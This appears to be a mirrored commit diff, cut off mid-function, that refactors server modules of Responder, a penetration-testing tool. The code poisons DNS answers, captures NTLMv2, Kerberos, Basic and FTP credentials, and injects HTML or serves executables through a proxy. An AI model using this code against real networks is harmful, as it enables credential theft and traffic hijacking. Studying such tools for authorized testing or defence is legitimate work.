mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-12 08:06:14 -07:00
Refactor a bit the servers
This commit is contained in:
parent
f2a2ffbe87
commit
8e9205b102
12 changed files with 150 additions and 317 deletions
|
@ -14,16 +14,13 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import socket
|
|
||||||
import struct
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
|
||||||
def WorkstationFingerPrint(data):
|
def WorkstationFingerPrint(data):
|
||||||
Role = {
|
return {
|
||||||
"\x04\x00" :"Windows 95",
|
"\x04\x00" :"Windows 95",
|
||||||
"\x04\x10" :"Windows 98",
|
"\x04\x10" :"Windows 98",
|
||||||
"\x04\x90" :"Windows ME",
|
"\x04\x90" :"Windows ME",
|
||||||
|
@ -35,12 +32,11 @@ def WorkstationFingerPrint(data):
|
||||||
"\x06\x02" :"Windows 8/Server 2012",
|
"\x06\x02" :"Windows 8/Server 2012",
|
||||||
"\x06\x03" :"Windows 8.1/Server 2012R2",
|
"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||||
"\x10\x00" :"Windows 10/Server 2016",
|
"\x10\x00" :"Windows 10/Server 2016",
|
||||||
}
|
}.get(data, 'Unknown')
|
||||||
|
|
||||||
return Role[data] if data in Role else "Unknown"
|
|
||||||
|
|
||||||
def RequestType(data):
|
def RequestType(data):
|
||||||
Type = {
|
return {
|
||||||
"\x01": 'Host Announcement',
|
"\x01": 'Host Announcement',
|
||||||
"\x02": 'Request Announcement',
|
"\x02": 'Request Announcement',
|
||||||
"\x08": 'Browser Election',
|
"\x08": 'Browser Election',
|
||||||
|
@ -51,30 +47,23 @@ def RequestType(data):
|
||||||
"\x0d": 'Master Announcement',
|
"\x0d": 'Master Announcement',
|
||||||
"\x0e": 'Reset Browser State Announcement',
|
"\x0e": 'Reset Browser State Announcement',
|
||||||
"\x0f": 'Local Master Announcement',
|
"\x0f": 'Local Master Announcement',
|
||||||
}
|
}.get(data, 'Unknown')
|
||||||
|
|
||||||
return Type[data] if data in Type else "Unknown"
|
|
||||||
|
|
||||||
def PrintServerName(data, entries):
|
def PrintServerName(data, entries):
|
||||||
if entries > 0:
|
if entries <= 0:
|
||||||
|
return None
|
||||||
|
entrieslen = 26 * entries
|
||||||
|
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||||
|
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||||
|
|
||||||
entrieslen = 26*entries
|
l = []
|
||||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
for x in ServerName:
|
||||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
fingerprint = WorkstationFingerPrint(x[16:18])
|
||||||
|
name = x[:16].replace('\x00', '')
|
||||||
|
l.append('%s (%s)' % (name, fingerprint))
|
||||||
|
return l
|
||||||
|
|
||||||
l = []
|
|
||||||
for x in ServerName:
|
|
||||||
FP = WorkstationFingerPrint(x[16:18])
|
|
||||||
Name = x[:16].replace('\x00', '')
|
|
||||||
|
|
||||||
if FP:
|
|
||||||
l.append(Name + ' (%s)' % FP)
|
|
||||||
else:
|
|
||||||
l.append(Name)
|
|
||||||
|
|
||||||
return l
|
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
def ParsePacket(Payload):
|
def ParsePacket(Payload):
|
||||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||||
|
@ -83,9 +72,8 @@ def ParsePacket(Payload):
|
||||||
if StatusCode == "\x00\x00":
|
if StatusCode == "\x00\x00":
|
||||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||||
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||||
|
return None
|
||||||
|
|
||||||
else:
|
|
||||||
return None
|
|
||||||
|
|
||||||
def RAPThisDomain(Client,Domain):
|
def RAPThisDomain(Client,Domain):
|
||||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||||
|
@ -100,6 +88,7 @@ def RAPThisDomain(Client,Domain):
|
||||||
if WKST is not None:
|
if WKST is not None:
|
||||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||||
|
|
||||||
|
|
||||||
def RapFinger(Host, Domain, Type):
|
def RapFinger(Host, Domain, Type):
|
||||||
try:
|
try:
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
@ -201,7 +190,6 @@ class Browser(BaseRequestHandler):
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
ParseDatagramNBTNames(request,self.client_address[0])
|
ParseDatagramNBTNames(request,self.client_address[0])
|
||||||
BecomeBackup(request,self.client_address[0])
|
BecomeBackup(request,self.client_address[0])
|
||||||
|
|
||||||
BecomeBackup(request,self.client_address[0])
|
BecomeBackup(request,self.client_address[0])
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|
|
@ -14,8 +14,6 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import re
|
|
||||||
|
|
||||||
from packets import DNS_Ans
|
from packets import DNS_Ans
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from utils import *
|
from utils import *
|
||||||
|
@ -24,13 +22,12 @@ def ParseDNSType(data):
|
||||||
QueryTypeClass = data[len(data)-4:]
|
QueryTypeClass = data[len(data)-4:]
|
||||||
|
|
||||||
# If Type A, Class IN, then answer.
|
# If Type A, Class IN, then answer.
|
||||||
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
|
return QueryTypeClass == "\x00\x01\x00\x01"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# DNS Server class
|
|
||||||
class DNS(BaseRequestHandler):
|
class DNS(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisIP(self.client_address[0]) is not True:
|
if RespondToThisIP(self.client_address[0]) is not True:
|
||||||
return None
|
return None
|
||||||
|
@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
|
||||||
buff.calculate(data)
|
buff.calculate(data)
|
||||||
soc.sendto(str(buff), self.client_address)
|
soc.sendto(str(buff), self.client_address)
|
||||||
|
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
|
@ -51,9 +48,7 @@ class DNS(BaseRequestHandler):
|
||||||
|
|
||||||
# DNS Server TCP Class
|
# DNS Server TCP Class
|
||||||
class DNSTCP(BaseRequestHandler):
|
class DNSTCP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisIP(self.client_address[0]) is not True:
|
if RespondToThisIP(self.client_address[0]) is not True:
|
||||||
return None
|
return None
|
||||||
|
@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler):
|
||||||
try:
|
try:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(data)
|
buff.calculate(data)
|
||||||
self.request.send(str(buff))
|
self.request.send(str(buff))
|
||||||
|
|
|
@ -14,8 +14,6 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
|
@ -47,7 +45,7 @@ class FTP(BaseRequestHandler):
|
||||||
'client': self.client_address[0],
|
'client': self.client_address[0],
|
||||||
'user': User,
|
'user': User,
|
||||||
'cleartext': Pass,
|
'cleartext': Pass,
|
||||||
'fullhash': User+':'+Pass
|
'fullhash': User + ':' + Pass
|
||||||
})
|
})
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -14,12 +14,9 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import struct
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
|
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
from packets import NTLM_Challenge
|
from packets import NTLM_Challenge
|
||||||
|
@ -72,58 +69,52 @@ def ParseHTTPHash(data, client):
|
||||||
'type': 'NTLMv2',
|
'type': 'NTLMv2',
|
||||||
'client': client,
|
'client': client,
|
||||||
'host': HostName,
|
'host': HostName,
|
||||||
'user': Domain+'\\'+User,
|
'user': Domain + '\\' + User,
|
||||||
'hash': NTHash[:32]+":"+NTHash[32:],
|
'hash': NTHash[:32] + ":" + NTHash[32:],
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
def GrabCookie(data, host):
|
def GrabCookie(data, host):
|
||||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
||||||
|
|
||||||
if Cookie:
|
if Cookie:
|
||||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||||
print text("[HTTP] Cookie : %s " % Cookie)
|
print text("[HTTP] Cookie : %s " % Cookie)
|
||||||
return Cookie
|
return Cookie
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
def GrabHost(data, host):
|
def GrabHost(data, host):
|
||||||
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
|
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
||||||
|
|
||||||
if Host:
|
if Host:
|
||||||
Host = Host.group(0).replace('Host: ', '')
|
Host = Host.group(0).replace('Host: ', '')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
print text("[HTTP] Host : %s " % color(Host, 3))
|
||||||
return Host
|
return Host
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
def GrabReferer(data, host):
|
def GrabReferer(data, host):
|
||||||
Referer = re.search('(Referer:*.\=*)[^\r\n]*', data)
|
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
||||||
|
|
||||||
if Referer:
|
if Referer:
|
||||||
Referer = Referer.group(0).replace('Referer: ', '')
|
Referer = Referer.group(0).replace('Referer: ', '')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Referer : %s " % color(Referer, 3))
|
print text("[HTTP] Referer : %s " % color(Referer, 3))
|
||||||
return Referer
|
return Referer
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
def WpadCustom(data, client):
|
def WpadCustom(data, client):
|
||||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
|
||||||
if Wpad:
|
if Wpad:
|
||||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return str(Buffer)
|
return str(Buffer)
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
def ServeFile(Filename):
|
def ServeFile(Filename):
|
||||||
with open (Filename, "rb") as bk:
|
with open (Filename, "rb") as bk:
|
||||||
data = bk.read()
|
return bk.read()
|
||||||
bk.close()
|
|
||||||
return data
|
|
||||||
|
|
||||||
def RespondWithFile(client, filename, dlname=None):
|
def RespondWithFile(client, filename, dlname=None):
|
||||||
|
|
||||||
|
@ -138,9 +129,9 @@ def RespondWithFile(client, filename, dlname=None):
|
||||||
return str(Buffer)
|
return str(Buffer)
|
||||||
|
|
||||||
def GrabURL(data, host):
|
def GrabURL(data, host):
|
||||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
GET = re.findall(r'(?<=GET )[^HTTP]*', data)
|
||||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
POST = re.findall(r'(?<=POST )[^HTTP]*', data)
|
||||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
|
||||||
|
|
||||||
if GET and settings.Config.Verbose:
|
if GET and settings.Config.Verbose:
|
||||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
||||||
|
@ -152,11 +143,11 @@ def GrabURL(data, host):
|
||||||
|
|
||||||
# Handle HTTP packet sequence.
|
# Handle HTTP packet sequence.
|
||||||
def PacketSequence(data, client):
|
def PacketSequence(data, client):
|
||||||
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\\r]*', data)
|
||||||
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\\r]*', data)
|
||||||
|
|
||||||
# Serve the .exe if needed
|
# Serve the .exe if needed
|
||||||
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
|
if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
|
||||||
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
|
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
|
||||||
|
|
||||||
# Serve the custom HTML if needed
|
# Serve the custom HTML if needed
|
||||||
|
@ -189,7 +180,6 @@ def PacketSequence(data, client):
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
|
@ -215,28 +205,23 @@ def PacketSequence(data, client):
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return str(Buffer)
|
return str(Buffer)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if settings.Config.Basic:
|
if settings.Config.Basic:
|
||||||
Response = IIS_Basic_401_Ans()
|
Response = IIS_Basic_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = IIS_Auth_401_Ans()
|
Response = IIS_Auth_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||||
|
|
||||||
return str(Response)
|
return str(Response)
|
||||||
|
|
||||||
# HTTP Server class
|
# HTTP Server class
|
||||||
class HTTP(BaseRequestHandler):
|
class HTTP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
|
|
|
@ -14,8 +14,6 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import settings
|
|
||||||
import urlparse
|
import urlparse
|
||||||
import select
|
import select
|
||||||
import zlib
|
import zlib
|
||||||
|
@ -43,24 +41,20 @@ def InjectData(data, client, req_uri):
|
||||||
return data
|
return data
|
||||||
|
|
||||||
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
||||||
|
if set(RedirectCodes) & set(Headers):
|
||||||
if [s for s in RedirectCodes if s in Headers]:
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
if "content-encoding: gzip" in Headers.lower():
|
if "content-encoding: gzip" in Headers.lower():
|
||||||
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||||
|
|
||||||
if "content-type: text/html" in Headers.lower():
|
if "content-type: text/html" in Headers.lower():
|
||||||
|
if settings.Config.Serve_Html: # Serve the custom HTML if needed
|
||||||
# Serve the custom HTML if needed
|
|
||||||
if settings.Config.Serve_Html:
|
|
||||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||||
|
|
||||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
|
||||||
HasBody = re.findall('(<body[^>]*>)', Content)
|
HasBody = re.findall(r'(<body[^>]*>)', Content)
|
||||||
|
|
||||||
if HasBody and len(settings.Config.HtmlToInject) > 2:
|
if HasBody and len(settings.Config.HtmlToInject) > 2:
|
||||||
|
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
||||||
|
|
||||||
|
@ -71,11 +65,9 @@ def InjectData(data, client, req_uri):
|
||||||
|
|
||||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
||||||
data = Headers +'\r\n\r\n'+ Content
|
data = Headers +'\r\n\r\n'+ Content
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Returning unmodified HTTP response")
|
print text("[PROXY] Returning unmodified HTTP response")
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
class ProxySock:
|
class ProxySock:
|
||||||
|
@ -96,19 +88,17 @@ class ProxySock:
|
||||||
def connect(self, address) :
|
def connect(self, address) :
|
||||||
|
|
||||||
# Store the real remote adress
|
# Store the real remote adress
|
||||||
(self.host, self.port) = address
|
self.host, self.port = address
|
||||||
|
|
||||||
# Try to connect to the proxy
|
# Try to connect to the proxy
|
||||||
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
|
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
|
||||||
self.proxy_host,
|
self.proxy_host,
|
||||||
self.proxy_port,
|
self.proxy_port,
|
||||||
0, 0, socket.SOL_TCP) :
|
0, 0, socket.SOL_TCP):
|
||||||
try:
|
try:
|
||||||
|
|
||||||
# Replace the socket by a connection to the proxy
|
# Replace the socket by a connection to the proxy
|
||||||
self.socket = socket.socket(family, socktype, proto)
|
self.socket = socket.socket(family, socktype, proto)
|
||||||
self.socket.connect(sockaddr)
|
self.socket.connect(sockaddr)
|
||||||
|
|
||||||
except socket.error, msg:
|
except socket.error, msg:
|
||||||
if self.socket:
|
if self.socket:
|
||||||
self.socket.close()
|
self.socket.close()
|
||||||
|
@ -116,7 +106,7 @@ class ProxySock:
|
||||||
continue
|
continue
|
||||||
break
|
break
|
||||||
if not self.socket :
|
if not self.socket :
|
||||||
raise socket.error, ms
|
raise socket.error, msg
|
||||||
|
|
||||||
# Ask him to create a tunnel connection to the target host/port
|
# Ask him to create a tunnel connection to the target host/port
|
||||||
self.socket.send(
|
self.socket.send(
|
||||||
|
|
|
@ -14,16 +14,11 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||||
|
|
||||||
# IMAP4 Server class
|
|
||||||
class IMAP(BaseRequestHandler):
|
class IMAP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.send(str(IMAPGreeting()))
|
self.request.send(str(IMAPGreeting()))
|
||||||
|
@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler):
|
||||||
## FIXME: Close connection properly
|
## FIXME: Close connection properly
|
||||||
## self.request.send(str(ditchthisconnection()))
|
## self.request.send(str(ditchthisconnection()))
|
||||||
## data = self.request.recv(1024)
|
## data = self.request.recv(1024)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
|
@ -14,10 +14,6 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import struct
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
@ -50,8 +46,7 @@ def ParseMSKerbv5TCP(Data):
|
||||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
|
elif HashLen == 54:
|
||||||
if HashLen == 54:
|
|
||||||
Hash = Data[53:105]
|
Hash = Data[53:105]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||||
|
@ -60,7 +55,6 @@ def ParseMSKerbv5TCP(Data):
|
||||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Hash = Data[48:100]
|
Hash = Data[48:100]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
|
@ -70,8 +64,7 @@ def ParseMSKerbv5TCP(Data):
|
||||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
def ParseMSKerbv5UDP(Data):
|
def ParseMSKerbv5UDP(Data):
|
||||||
MsgType = Data[17:18]
|
MsgType = Data[17:18]
|
||||||
|
@ -80,7 +73,6 @@ def ParseMSKerbv5UDP(Data):
|
||||||
if MsgType == "\x0a" and EncType == "\x17":
|
if MsgType == "\x0a" and EncType == "\x17":
|
||||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||||
|
|
||||||
if HashLen == 54:
|
if HashLen == 54:
|
||||||
Hash = Data[44:96]
|
Hash = Data[44:96]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
|
@ -90,8 +82,7 @@ def ParseMSKerbv5UDP(Data):
|
||||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
|
elif HashLen == 53:
|
||||||
if HashLen == 53:
|
|
||||||
Hash = Data[44:95]
|
Hash = Data[44:95]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||||
|
@ -100,8 +91,6 @@ def ParseMSKerbv5UDP(Data):
|
||||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Hash = Data[49:101]
|
Hash = Data[49:101]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
